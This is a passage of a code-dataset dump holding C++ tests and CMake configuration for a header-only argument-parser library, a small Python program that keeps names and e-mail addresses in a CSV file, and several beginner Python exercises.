positional_arguments(\\\"positional arguments\\\", [](auto& _) {\\n // Lack of positional arguments.\\n _.test(\\\"absence\\\", []() {\\n const auto fixture =\\n args_fixture::create({\\\"--no\\\", \\\"positional\\\", \\\"--arguments\\\"});\\n expect(fixture.args().positional().size(), equal_to(0));\\n expect(fixture.args().get<int>(0), equal_to(std::nullopt));\\n expect(fixture.args().get<int>(0, 3), equal_to(3));\\n });\\n\\n // Testing the existence of positional arguments with no options or flags.\\n _.test(\\\"basic\\\", []() {\\n const auto fixture = args_fixture::create({\\\"positional\\\", \\\"arguments\\\"});\\n expect(fixture.args().positional().size(), equal_to(2));\\n expect(fixture.args().positional()[0], equal_to(\\\"positional\\\"));\\n expect(fixture.args().positional()[1], equal_to(\\\"arguments\\\"));\\n // Tests for positional getters\\n expect(fixture.args().get<std::string_view>(0), equal_to(\\\"positional\\\"));\\n expect(fixture.args().get<std::string_view>(1), equal_to(\\\"arguments\\\"));\\n expect(fixture.args().get<std::string_view>(2), equal_to(std::nullopt));\\n expect(fixture.args().get<std::string>(0, \\\"default\\\"),\\n equal_to(\\\"positional\\\"));\\n expect(fixture.args().get<std::string>(1, \\\"default\\\"),\\n equal_to(\\\"arguments\\\"));\\n expect(fixture.args().get<std::string>(2, \\\"default\\\"), equal_to(\\\"default\\\"));\\n });\\n\\n // Adding options to the mix.\\n _.test(\\\"with options\\\", []() {\\n const auto fixture = args_fixture::create(\\n {\\\"positional\\\", \\\"arguments\\\", \\\"-with\\\", \\\"--some\\\", \\\"---options\\\"});\\n expect(fixture.args().positional().size(), equal_to(2));\\n expect(fixture.args().positional()[0], equal_to(\\\"positional\\\"));\\n expect(fixture.args().positional()[1], equal_to(\\\"arguments\\\"));\\n // Tests for positional getters\\n expect(fixture.args().get<std::string_view>(0), equal_to(\\\"positional\\\"));\\n expect(fixture.args().get<std::string_view>(1), equal_to(\\\"arguments\\\"));\\n expect(fixture.args().get<std::string_view>(2), equal_to(std::nullopt));\\n expect(fixture.args().get<std::string>(0, \\\"default\\\"),\\n equal_to(\\\"positional\\\"));\\n expect(fixture.args().get<std::string>(1, \\\"default\\\"),\\n equal_to(\\\"arguments\\\"));\\n expect(fixture.args().get<std::string>(2, \\\"default\\\"), equal_to(\\\"default\\\"));\\n });\\n\\n // Adding flags to the mix.\\n _.test(\\\"with flags\\\", []() {\\n const auto fixture = args_fixture::create(\\n {\\\"--flag\\\", \\\"\\\\\\\"not positional\\\\\\\"\\\", \\\"positional\\\", \\\"--another-flag\\\", \\\"foo\\\",\\n \\\"arguments\\\", \\\"--bar\\\", \\\"42\\\"});\\n expect(fixture.args().positional().size(), equal_to(2));\\n expect(fixture.args().positional()[0], equal_to(\\\"positional\\\"));\\n expect(fixture.args().positional()[1], equal_to(\\\"arguments\\\"));\\n // Tests for positional getters\\n expect(fixture.args().get<std::string_view>(0), equal_to(\\\"positional\\\"));\\n expect(fixture.args().get<std::string_view>(1), equal_to(\\\"arguments\\\"));\\n expect(fixture.args().get<std::string_view>(2), equal_to(std::nullopt));\\n expect(fixture.args().get<std::string>(0, \\\"default\\\"),\\n equal_to(\\\"positional\\\"));\\n expect(fixture.args().get<std::string>(1, \\\"default\\\"),\\n equal_to(\\\"arguments\\\"));\\n expect(fixture.args().get<std::string>(2, \\\"default\\\"), equal_to(\\\"default\\\"));\\n });\\n\\n // Adding both flags and options.\\n _.test(\\\"with flags and options\\\", []() {\\n const auto fixture = args_fixture::create(\\n {\\\"--flag\\\", \\\"\\\\\\\"not positional\\\\\\\"\\\", \\\"positional\\\", \\\"--another-flag\\\", \\\"foo\\\",\\n \\\"arguments\\\", \\\"--bar\\\", \\\"42\\\", \\\"--some\\\", \\\"--options\\\", \\\"--foobaz\\\"});\\n expect(fixture.args().positional().size(), equal_to(2));\\n expect(fixture.args().positional()[0], equal_to(\\\"positional\\\"));\\n expect(fixture.args().positional()[1], equal_to(\\\"arguments\\\"));\\n // Tests for positional getters\\n expect(fixture.args().get<std::string_view>(0), equal_to(\\\"positional\\\"));\\n expect(fixture.args().get<std::string_view>(1), equal_to(\\\"arguments\\\"));\\n expect(fixture.args().get<std::string_view>(2), equal_to(std::nullopt));\\n expect(fixture.args().get<std::string>(0, \\\"default\\\"),\\n equal_to(\\\"positional\\\"));\\n expect(fixture.args().get<std::string>(1, \\\"default\\\"),\\n equal_to(\\\"arguments\\\"));\\n expect(fixture.args().get<std::string>(2, \\\"default\\\"), equal_to(\\\"default\\\"));\\n });\\n});\\n\\nsuite<> flag_parsing(\\\"flag parsing\\\", [](auto& _) {\\n // Basic bool parsing.\\n _.test(\\\"bool\\\", []() {\\n const auto fixture =\\n args_fixture::create({\\\"--foo\\\", \\\"1\\\", \\\"--bar\\\", \\\"no\\\", \\\"--verbose\\\"});\\n expect(*fixture.args().get<bool>(\\\"foo\\\"), equal_to(true));\\n expect(fixture.args().get<bool>(\\\"foo\\\", false), equal_to(true));\\n expect(*fixture.args().get<bool>(\\\"bar\\\"), equal_to(false));\\n expect(*fixture.args().get<bool>(\\\"verbose\\\"), equal_to(true));\\n expect(fixture.args().get<bool>(\\\"nonexistent\\\"), equal_to(std::nullopt));\\n });\\n\\n // Verifying all the falsities are actually false.\\n _.test(\\\"falsities\\\", []() {\\n for (const auto falsity : flags::detail::falsities) {\\n const auto fixture = args_fixture::create({\\\"--foo\\\", falsity});\\n expect(*fixture.args().get<bool>(\\\"foo\\\"), equal_to(false));\\n expect(fixture.args().get<bool>(\\\"foo\\\", true), equal_to(false));\\n }\\n });\\n\\n // Complex strings are succesfully parsed.\\n _.test(\\\"string\\\", []() {\\n constexpr char LOREM_IPSUM[] =\\n \\\"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do \\\"\\n \\\"eiusmod tempor incididunt ut labore et dolore magna aliqua.\\\";\\n const auto fixture = args_fixture::create({\\\"--foo\\\", LOREM_IPSUM});\\n expect(*fixture.args().get<std::string>(\\\"foo\\\"),\\n equal_to(std::string(LOREM_IPSUM)));\\n });\\n\\n // Empty values\\n _.test(\\\"empty\\\", [](){\\n const auto fixture = args_fixture::create({\\\"--foo\\\", \\\"\\\"});\\n expect(*fixture.args().get<std::string>(\\\"foo\\\"), equal_to(\\\"\\\"));\\n });\\n\\n // Multiple values for one flag\\n _.test(\\\"multiple\\\", [](){\\n const auto fixture = args_fixture::create({\\\"--foo\\\", \\\"bar\\\", \\\"--foo\\\", \\\"baz\\\"});\\n auto foo = fixture.args().get_multiple<std::string>(\\\"foo\\\");\\n expect(foo.size(), equal_to(2));\\n expect(foo[0].value(), equal_to(\\\"bar\\\"));\\n expect(foo[1].value(), equal_to(\\\"baz\\\"));\\n });\\n\\n _.test(\\\"multiple with type\\\", [](){\\n const auto fixture = args_fixture::create({\\\"-x\\\", \\\"-x\\\", \\\"1\\\", \\\"-x\\\", \\\"2\\\"});\\n auto x = fixture.args().get_multiple<int>(\\\"x\\\", 0);\\n expect(x.size(), equal_to(3));\\n expect(x[0], equal_to(0));\\n expect(x[1], equal_to(1));\\n expect(x[2], equal_to(2));\\n });\\n\\n _.test(\\\"multiple falsities\\\", [](){\\n std::vector<const char*> args;\\n for (const auto falsity : flags::detail::falsities) {\\n args.push_back(\\\"--foo\\\");\\n args.push_back(falsity);\\n }\\n const auto fixture = args_fixture::create(args);\\n const auto foos1 = fixture.args().get_multiple<bool>(\\\"foo\\\");\\n for (const auto& foo : foos1) {\\n expect(foo && *foo, equal_to(false));\\n }\\n const auto foos2 = fixture.args().get_multiple<bool>(\\\"foo\\\", true);\\n for (const auto& foo : foos2) {\\n expect(foo, equal_to(false));\\n }\\n });\\n\\n _.test(\\\"multiple valueless flags\\\", [](){\\n const auto fixture = args_fixture::create({\\\"--foo\\\", \\\"-foo\\\", \\\"--foo\\\", \\\"-foo\\\"});\\n const auto foos = fixture.args().get_multiple<bool>(\\\"foo\\\");\\n expect(foos.size(), equal_to(4));\\n for (const auto& foo : foos) {\\n expect(static_cast<bool>(foo), equal_to(true));\\n }\\n });\\n\\n // Basic number parsing. Verifying ints are truncated and doubles are\\n // succesfully parsed.\\n _.test(\\\"numbers\\\", []() {\\n const auto fixture =\\n args_fixture::create({\\\"--foo\\\", \\\"42\\\", \\\"--bar\\\", \\\"42.42\\\"});\\n expect(*fixture.args().get<int>(\\\"foo\\\"), equal_to(42));\\n expect(*fixture.args().get<double>(\\\"foo\\\"), equal_to(42));\\n expect(*fixture.args().get<int>(\\\"bar\\\"), equal_to(42));\\n expect(*fixture.args().get<double>(\\\"bar\\\"), equal_to(42.42));\\n expect(fixture.args().get<int>(\\\"foobar\\\", 42), equal_to(42));\\n expect(fixture.args().get<double>(\\\"foobar\\\", 42.4242), equal_to(42.4242));\\n expect(fixture.args().get<int>(\\\"foobar\\\"), equal_to(std::nullopt));\\n expect(fixture.args().get<double>(\\\"foobar\\\"), equal_to(std::nullopt));\\n });\\n});\\n\"\n },\n {\n \"alpha_fraction\": 0.7082551717758179,\n \"alphanum_fraction\": 0.7129455804824829,\n \"avg_line_length\": 35.13559341430664,\n \"blob_id\": \"288024dcdf293ff385a6bd2ae919f9cac0ae2df6\",\n \"content_id\": \"20c680fbbb2c7d85eac0ab2e56fb89e91e076cd6\",\n \"detected_licenses\": [\n \"LicenseRef-scancode-public-domain\",\n \"Unlicense\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"CMake\",\n \"length_bytes\": 2132,\n \"license_type\": \"permissive\",\n \"max_line_length\": 92,\n \"num_lines\": 59,\n \"path\": \"/CMakeLists.txt\",\n \"repo_name\": \"sailormoon/flags\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"cmake_minimum_required(VERSION 3.12)\\n\\nproject(\\n flags\\n VERSION\\n 1.0.0\\n DESCRIPTION\\n \\\"Simple, extensible, header-only C++17 argument parser released into the public domain.\\\"\\n HOMEPAGE_URL\\n \\\"https://github.com/sailormoon/flags\\\")\\n\\nadd_library(${PROJECT_NAME} INTERFACE)\\n\\n# Add alias so the project can be used with add_subdirectory\\nadd_library(${PROJECT_NAME}::${PROJECT_NAME} ALIAS ${PROJECT_NAME})\\n\\ninclude(GNUInstallDirs)\\n\\n# Adding the install interface generator expression makes sure that the include\\n# files are installed to the proper location (provided by GNUInstallDirs)\\ntarget_include_directories(\\n ${PROJECT_NAME}\\n INTERFACE $<BUILD_INTERFACE:${${PROJECT_NAME}_SOURCE_DIR}/include>\\n $<INSTALL_INTERFACE:${CMAKE_INSTALL_INCLUDEDIR}>)\\n\\ntarget_compile_features(${PROJECT_NAME} INTERFACE cxx_std_17)\\n\\n# Locations are provided by GNUInstallDirs\\ninstall(TARGETS ${PROJECT_NAME}\\n EXPORT ${PROJECT_NAME}_Targets\\n ARCHIVE DESTINATION ${CMAKE_INSTALL_LIBDIR}\\n LIBRARY DESTINATION ${CMAKE_INSTALL_LIBDIR}\\n RUNTIME DESTINATION ${CMAKE_INSTALL_BINDIR})\\n\\ninclude(CMakePackageConfigHelpers)\\nwrite_basic_package_version_file(\\\"${PROJECT_NAME}ConfigVersion.cmake\\\"\\n VERSION ${PROJECT_VERSION}\\n COMPATIBILITY SameMajorVersion)\\n\\nconfigure_package_config_file(\\n \\\"${PROJECT_SOURCE_DIR}/cmake/${PROJECT_NAME}Config.cmake.in\\\"\\n \\\"${PROJECT_BINARY_DIR}/${PROJECT_NAME}Config.cmake\\\"\\n INSTALL_DESTINATION\\n ${CMAKE_INSTALL_DATAROOTDIR}/${PROJECT_NAME}/cmake)\\n\\ninstall(EXPORT ${PROJECT_NAME}_Targets\\n FILE ${PROJECT_NAME}Targets.cmake\\n NAMESPACE ${PROJECT_NAME}::\\n DESTINATION ${CMAKE_INSTALL_DATAROOTDIR}/${PROJECT_NAME}/cmake)\\n\\ninstall(FILES \\\"${PROJECT_BINARY_DIR}/${PROJECT_NAME}Config.cmake\\\"\\n \\\"${PROJECT_BINARY_DIR}/${PROJECT_NAME}ConfigVersion.cmake\\\"\\n DESTINATION ${CMAKE_INSTALL_DATAROOTDIR}/${PROJECT_NAME}/cmake)\\n\\ninstall(DIRECTORY ${PROJECT_SOURCE_DIR}/include/${PROJECT_NAME} DESTINATION include)\\n\\nset(CPACK_RESOURCE_FILE_LICENSE \\\"${PROJECT_SOURCE_DIR}/LICENSE\\\")\\n\\ninclude(CPack)\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":5,"string":"5"}}},{"rowIdx":2978343,"cells":{"repo_name":{"kind":"string","value":"Hororohoruru/Python-mail-database"},"repo_url":{"kind":"string","value":"https://github.com/Hororohoruru/Python-mail-database"},"snapshot_id":{"kind":"string","value":"74f617e5a761fc68bf629e816fa9ca3b926acd26"},"revision_id":{"kind":"string","value":"7c8f0fa6be8b89ade9724588ba73eef80a88df6b"},"directory_id":{"kind":"string","value":"c8cd0944863da526f2729f258c49199418fdb586"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-04-30T08:33:59.908815","string":"2021-04-30T08:33:59.908815"},"revision_date":{"kind":"timestamp","value":"2018-02-13T12:23:26","string":"2018-02-13T12:23:26"},"committer_date":{"kind":"timestamp","value":"2018-02-13T12:23:26","string":"2018-02-13T12:23:26"},"github_id":{"kind":"number","value":121379110,"string":"121,379,110"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.7937062978744507,"alphanum_fraction":0.7972028255462646,"avg_line_length":46.66666793823242,"blob_id":"f328fb18d4d58304cfb26de095eb4de5bd92840d","content_id":"c9dc487668d10bda974163ec8c1d7ea8de02bed5","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":286,"license_type":"no_license","max_line_length":129,"num_lines":6,"path":"/README.md","repo_name":"Hororohoruru/Python-mail-database","src_encoding":"UTF-8","text":"# Python-mail-database\n\nThis program allows the user to create a simple database with names and e-mails and store them in a csv file.\n\nThis program is inspired by the project of the 4th week of the Coursera course \"Python programming: a concise introduction\", from\nWesleyan University.\n"},{"alpha_fraction":0.51609867811203,"alphanum_fraction":0.5200939774513245,"avg_line_length":26.3799991607666,"blob_id":"d0c455bbdbd269d49e552f3859e262f7e19bda22","content_id":"7e1f9bcc18b622dd5a1a2c0984bd5ef23303b659","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":4255,"license_type":"no_license","max_line_length":78,"num_lines":150,"path":"/mail_database.py","repo_name":"Hororohoruru/Python-mail-database","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nThis program allows the user to create a small database containing names\r\nand e-mail directions. The user will be able to add, delete and edit new\r\nentries via the menu, and store the database in a csv file\r\n\"\"\"\r\nimport os\r\nimport csv\r\n\r\n\r\nmails = []\r\nname_pos = 0\r\nmail_pos = 1\r\nmail_header = ['Name', 'Mail']\r\n\r\n\r\ndef valid_menu_choice(which):\r\n if not which.isdigit():\r\n print(which + \"needs to be the number of an entry\")\r\n return False\r\n which = int(which)\r\n if which < 1 or which > len(mails):\r\n print(str(which) + \"needs to be the number of an entry\")\r\n return False\r\n return True\r\n\r\ndef delete_mail(which):\r\n if not valid_menu_choice(which):\r\n return\r\n which = int(which)\r\n del mails[which - 1]\r\n print(\"Deleted entry number\",which)\r\n print()\r\n \r\ndef edit_mail(which):\r\n if not valid_menu_choice(which):\r\n return\r\n which = int(which)\r\n \r\n mail = mails[which - 1]\r\n print(\"Enter the data for a new entry. Press <enter> to leave un changed\")\r\n \r\n print()\r\n print(\"Current name for this entry is '\",mail[name_pos], \"'\")\r\n newname = input(\"Enter new name or press return: \")\r\n if newname == \"\":\r\n newname = mail[name_pos]\r\n \r\n print()\r\n print(\"Current mail address for this entry is '\",mail[mail_pos],\"'\")\r\n new_mail = input(\"Enter new mail or press return: \")\r\n if new_mail == \"\":\r\n new_mail = mail[mail_pos]\r\n \r\n mail = [newname, new_mail]\r\n mails[which - 1] = mail\r\n \r\n print()\r\n print(\"The mail for the entry\",which,\"has been updated to:\")\r\n print(\"Name: \",newname)\r\n print(\"Mail: \",new_mail)\r\n print()\r\n \r\ndef load_mail_list():\r\n if os.access(\"mail_list.csv\",os.F_OK):\r\n f = open(\"mail_list.csv\")\r\n for row in csv.reader(f):\r\n mails.append(row)\r\n f.close()\r\n \r\ndef save_mail_list():\r\n f = open(\"mail_list.csv\", 'w', newline ='')\r\n for entry in mails:\r\n csv.writer(f).writerow(entry)\r\n f.close()\r\n \r\ndef show_mails():\r\n print()\r\n show_mail(mail_header, \"\")\r\n index = 1\r\n for mail in mails:\r\n show_mail(mail, index)\r\n index += 1\r\n print()\r\n \r\ndef show_mail(mail, index):\r\n outputstr = \"{0:>3} {1:<20} {2:<32}\"\r\n print(outputstr.format(index, mail[name_pos], mail[mail_pos]))\r\n \r\ndef create_mail():\r\n print(\"Creating a new mail entry. Please enter the data below:\")\r\n newname = input(\"Please, enter the name: \")\r\n new_mail = input(\"Please, enter the mail address: \")\r\n mail = [newname, new_mail]\r\n mails.append(mail)\r\n print()\r\n print(\"The mail entry for\",newname,\"has been added successfully\")\r\n print()\r\n \r\ndef menu_choice():\r\n \"\"\" Menu with program options \"\"\"\r\n print(\"Please choose one of the following options:\")\r\n print(\" s) Show\")\r\n print(\" n) New\")\r\n print(\" e) Edit\")\r\n print(\" d) Delete\")\r\n print(\" q) Quit\")\r\n choice = input(\"Your choice: \")\r\n if choice.lower() in [\"s\", \"n\", \"d\", \"e\", \"q\"]:\r\n return choice.lower()\r\n else:\r\n print(choice,\" is not a valid option. Please, try again\")\r\n return None\r\n \r\ndef main_loop():\r\n \r\n load_mail_list()\r\n \r\n while True:\r\n choice = menu_choice()\r\n if choice == None:\r\n continue\r\n elif choice == \"q\":\r\n print(\"Exiting...\")\r\n break\r\n elif choice == \"s\":\r\n show_mails()\r\n elif choice == \"n\":\r\n create_mail()\r\n elif choice == \"e\":\r\n input_ = (\"Which item do you want to edit? (Press \"\r\n \"q to go back to the menu) \")\r\n which = input(input_)\r\n if which.lower() == \"q\":\r\n print()\r\n continue\r\n edit_mail(which)\r\n elif choice == \"d\":\r\n input_ = (\"Which item do you want to delete? (Press \"\r\n \"q to go back to the menu) \")\r\n which = input(input_)\r\n if which.lower() == \"q\":\r\n print()\r\n continue\r\n delete_mail(which)\r\n \r\n save_mail_list() \r\n \r\nif __name__ == '__main__':\r\n main_loop()"}],"string":"[\n {\n \"alpha_fraction\": 0.7937062978744507,\n \"alphanum_fraction\": 0.7972028255462646,\n \"avg_line_length\": 46.66666793823242,\n \"blob_id\": \"f328fb18d4d58304cfb26de095eb4de5bd92840d\",\n \"content_id\": \"c9dc487668d10bda974163ec8c1d7ea8de02bed5\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 286,\n \"license_type\": \"no_license\",\n \"max_line_length\": 129,\n \"num_lines\": 6,\n \"path\": \"/README.md\",\n \"repo_name\": \"Hororohoruru/Python-mail-database\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Python-mail-database\\n\\nThis program allows the user to create a simple database with names and e-mails and store them in a csv file.\\n\\nThis program is inspired by the project of the 4th week of the Coursera course \\\"Python programming: a concise introduction\\\", from\\nWesleyan University.\\n\"\n },\n {\n \"alpha_fraction\": 0.51609867811203,\n \"alphanum_fraction\": 0.5200939774513245,\n \"avg_line_length\": 26.3799991607666,\n \"blob_id\": \"d0c455bbdbd269d49e552f3859e262f7e19bda22\",\n \"content_id\": \"7e1f9bcc18b622dd5a1a2c0984bd5ef23303b659\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 4255,\n \"license_type\": \"no_license\",\n \"max_line_length\": 78,\n \"num_lines\": 150,\n \"path\": \"/mail_database.py\",\n \"repo_name\": \"Hororohoruru/Python-mail-database\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\r\\n\\\"\\\"\\\"\\r\\nThis program allows the user to create a small database containing names\\r\\nand e-mail directions. The user will be able to add, delete and edit new\\r\\nentries via the menu, and store the database in a csv file\\r\\n\\\"\\\"\\\"\\r\\nimport os\\r\\nimport csv\\r\\n\\r\\n\\r\\nmails = []\\r\\nname_pos = 0\\r\\nmail_pos = 1\\r\\nmail_header = ['Name', 'Mail']\\r\\n\\r\\n\\r\\ndef valid_menu_choice(which):\\r\\n if not which.isdigit():\\r\\n print(which + \\\"needs to be the number of an entry\\\")\\r\\n return False\\r\\n which = int(which)\\r\\n if which < 1 or which > len(mails):\\r\\n print(str(which) + \\\"needs to be the number of an entry\\\")\\r\\n return False\\r\\n return True\\r\\n\\r\\ndef delete_mail(which):\\r\\n if not valid_menu_choice(which):\\r\\n return\\r\\n which = int(which)\\r\\n del mails[which - 1]\\r\\n print(\\\"Deleted entry number\\\",which)\\r\\n print()\\r\\n \\r\\ndef edit_mail(which):\\r\\n if not valid_menu_choice(which):\\r\\n return\\r\\n which = int(which)\\r\\n \\r\\n mail = mails[which - 1]\\r\\n print(\\\"Enter the data for a new entry. Press <enter> to leave un changed\\\")\\r\\n \\r\\n print()\\r\\n print(\\\"Current name for this entry is '\\\",mail[name_pos], \\\"'\\\")\\r\\n newname = input(\\\"Enter new name or press return: \\\")\\r\\n if newname == \\\"\\\":\\r\\n newname = mail[name_pos]\\r\\n \\r\\n print()\\r\\n print(\\\"Current mail address for this entry is '\\\",mail[mail_pos],\\\"'\\\")\\r\\n new_mail = input(\\\"Enter new mail or press return: \\\")\\r\\n if new_mail == \\\"\\\":\\r\\n new_mail = mail[mail_pos]\\r\\n \\r\\n mail = [newname, new_mail]\\r\\n mails[which - 1] = mail\\r\\n \\r\\n print()\\r\\n print(\\\"The mail for the entry\\\",which,\\\"has been updated to:\\\")\\r\\n print(\\\"Name: \\\",newname)\\r\\n print(\\\"Mail: \\\",new_mail)\\r\\n print()\\r\\n \\r\\ndef load_mail_list():\\r\\n if os.access(\\\"mail_list.csv\\\",os.F_OK):\\r\\n f = open(\\\"mail_list.csv\\\")\\r\\n for row in csv.reader(f):\\r\\n mails.append(row)\\r\\n f.close()\\r\\n \\r\\ndef save_mail_list():\\r\\n f = open(\\\"mail_list.csv\\\", 'w', newline ='')\\r\\n for entry in mails:\\r\\n csv.writer(f).writerow(entry)\\r\\n f.close()\\r\\n \\r\\ndef show_mails():\\r\\n print()\\r\\n show_mail(mail_header, \\\"\\\")\\r\\n index = 1\\r\\n for mail in mails:\\r\\n show_mail(mail, index)\\r\\n index += 1\\r\\n print()\\r\\n \\r\\ndef show_mail(mail, index):\\r\\n outputstr = \\\"{0:>3} {1:<20} {2:<32}\\\"\\r\\n print(outputstr.format(index, mail[name_pos], mail[mail_pos]))\\r\\n \\r\\ndef create_mail():\\r\\n print(\\\"Creating a new mail entry. Please enter the data below:\\\")\\r\\n newname = input(\\\"Please, enter the name: \\\")\\r\\n new_mail = input(\\\"Please, enter the mail address: \\\")\\r\\n mail = [newname, new_mail]\\r\\n mails.append(mail)\\r\\n print()\\r\\n print(\\\"The mail entry for\\\",newname,\\\"has been added successfully\\\")\\r\\n print()\\r\\n \\r\\ndef menu_choice():\\r\\n \\\"\\\"\\\" Menu with program options \\\"\\\"\\\"\\r\\n print(\\\"Please choose one of the following options:\\\")\\r\\n print(\\\" s) Show\\\")\\r\\n print(\\\" n) New\\\")\\r\\n print(\\\" e) Edit\\\")\\r\\n print(\\\" d) Delete\\\")\\r\\n print(\\\" q) Quit\\\")\\r\\n choice = input(\\\"Your choice: \\\")\\r\\n if choice.lower() in [\\\"s\\\", \\\"n\\\", \\\"d\\\", \\\"e\\\", \\\"q\\\"]:\\r\\n return choice.lower()\\r\\n else:\\r\\n print(choice,\\\" is not a valid option. Please, try again\\\")\\r\\n return None\\r\\n \\r\\ndef main_loop():\\r\\n \\r\\n load_mail_list()\\r\\n \\r\\n while True:\\r\\n choice = menu_choice()\\r\\n if choice == None:\\r\\n continue\\r\\n elif choice == \\\"q\\\":\\r\\n print(\\\"Exiting...\\\")\\r\\n break\\r\\n elif choice == \\\"s\\\":\\r\\n show_mails()\\r\\n elif choice == \\\"n\\\":\\r\\n create_mail()\\r\\n elif choice == \\\"e\\\":\\r\\n input_ = (\\\"Which item do you want to edit? (Press \\\"\\r\\n \\\"q to go back to the menu) \\\")\\r\\n which = input(input_)\\r\\n if which.lower() == \\\"q\\\":\\r\\n print()\\r\\n continue\\r\\n edit_mail(which)\\r\\n elif choice == \\\"d\\\":\\r\\n input_ = (\\\"Which item do you want to delete? (Press \\\"\\r\\n \\\"q to go back to the menu) \\\")\\r\\n which = input(input_)\\r\\n if which.lower() == \\\"q\\\":\\r\\n print()\\r\\n continue\\r\\n delete_mail(which)\\r\\n \\r\\n save_mail_list() \\r\\n \\r\\nif __name__ == '__main__':\\r\\n main_loop()\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":2,"string":"2"}}},{"rowIdx":2978344,"cells":{"repo_name":{"kind":"string","value":"wsnijder/PycharmProjects"},"repo_url":{"kind":"string","value":"https://github.com/wsnijder/PycharmProjects"},"snapshot_id":{"kind":"string","value":"7596b0029c2065a23144c8f71bf57af1a2bec74c"},"revision_id":{"kind":"string","value":"48633c2b00aea1db669076dba4a15ca3fcdd52e6"},"directory_id":{"kind":"string","value":"3cb8fe6846c592939c52ae056212fb70cf9f03e9"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2023-01-10T13:44:15.913635","string":"2023-01-10T13:44:15.913635"},"revision_date":{"kind":"timestamp","value":"2020-11-06T20:26:11","string":"2020-11-06T20:26:11"},"committer_date":{"kind":"timestamp","value":"2020-11-06T20:26:11","string":"2020-11-06T20:26:11"},"github_id":{"kind":"number","value":299880729,"string":"299,880,729"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.7237762212753296,"alphanum_fraction":0.7342657446861267,"avg_line_length":18.066667556762695,"blob_id":"8655e63d1edbe2d8795e6e7ae22e22aea463b804","content_id":"a505d2881d95e0b478071710df1ea87c94cdeb48","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":286,"license_type":"no_license","max_line_length":66,"num_lines":15,"path":"/Week_6_Python/Exercise 3/5.3.23.2.py","repo_name":"wsnijder/PycharmProjects","src_encoding":"UTF-8","text":"# two turtles created\n\nimport turtle\n\ntess = turtle.Turtle()\nalex = tess\nalex.color(\"hotpink\")\n\nif tess is alex:\n print(\"there is one turtle created\")\nelse: print(\"there are two turtles created\")\n\n# color applies to both turtles since it is aliased and not cloned\n\nalex.forward(100)\n"},{"alpha_fraction":0.5668449401855469,"alphanum_fraction":0.5882353186607361,"avg_line_length":18.736841201782227,"blob_id":"53ee20530a32cd38fead706db0df98b939c4a62f","content_id":"a38e6f1065cdb439c9a733a121237544041cc37d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":374,"license_type":"no_license","max_line_length":56,"num_lines":19,"path":"/Week 4 python/exercise 3.4.4.2.py","repo_name":"wsnijder/PycharmProjects","src_encoding":"UTF-8","text":"arrival = int(input(\"On what day do you arrive?\"))\nstaying = int(input(\"What is the length of your stay?\"))\n\ndag = (arrival+staying)%7\n\nif dag == 0:\n print(\"Sunday\")\nif dag == 1:\n print(\"Monday\")\nif dag == 2:\n print(\"Tuesday\")\nif dag == 3:\n print(\"Wednesday\")\nif dag == 4:\n print(\"Thursday\")\nif dag == 5:\n print(\"Friday\")\nif dag == 6:\n print(\"Saturday\")"},{"alpha_fraction":0.7127071619033813,"alphanum_fraction":0.7127071619033813,"avg_line_length":21.75,"blob_id":"4c08218e1d5b5d990201ece28d832f7453684866","content_id":"305459e4c3ab2400f1f0f64b722eaf7a27e18b52","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":181,"license_type":"no_license","max_line_length":42,"num_lines":8,"path":"/Week_6_Python/Exercise_1/5.1.19.3.py","repo_name":"wsnijder/PycharmProjects","src_encoding":"UTF-8","text":"def count_letters(word):\n result = len(word)\n return result\n\n\nanswer = str(input(\"name a word\"))\ncalculation = count_letters(answer)\nprint(\"number of letters is\", calculation)"},{"alpha_fraction":0.6540540456771851,"alphanum_fraction":0.6702702641487122,"avg_line_length":25.285715103149414,"blob_id":"8e685d1337de9d07a0adce2fce008c64f3dcb9c8","content_id":"20370b95099c4f19e94e28337cba26d31a2a258a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":185,"license_type":"no_license","max_line_length":45,"num_lines":7,"path":"/Week_6_Python/Exercise 3/5.3.23.6.py","repo_name":"wsnijder/PycharmProjects","src_encoding":"UTF-8","text":"def scalar_mult(scalar, vector):\n outcomevector = []\n for element in vector:\n outcomevector.append(scalar * vector)\n return outcomevector\n\nprint(scalar_mult(3, [1,2]))\n\n"},{"alpha_fraction":0.6176470518112183,"alphanum_fraction":0.625668466091156,"avg_line_length":27.730770111083984,"blob_id":"0109dbe6823a8eb099bc1df61ad338db43c0db46","content_id":"187b93ff798d19821be94f2b3d390e9772fd5482","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":748,"license_type":"no_license","max_line_length":119,"num_lines":26,"path":"/Week_6_Python/Exercise 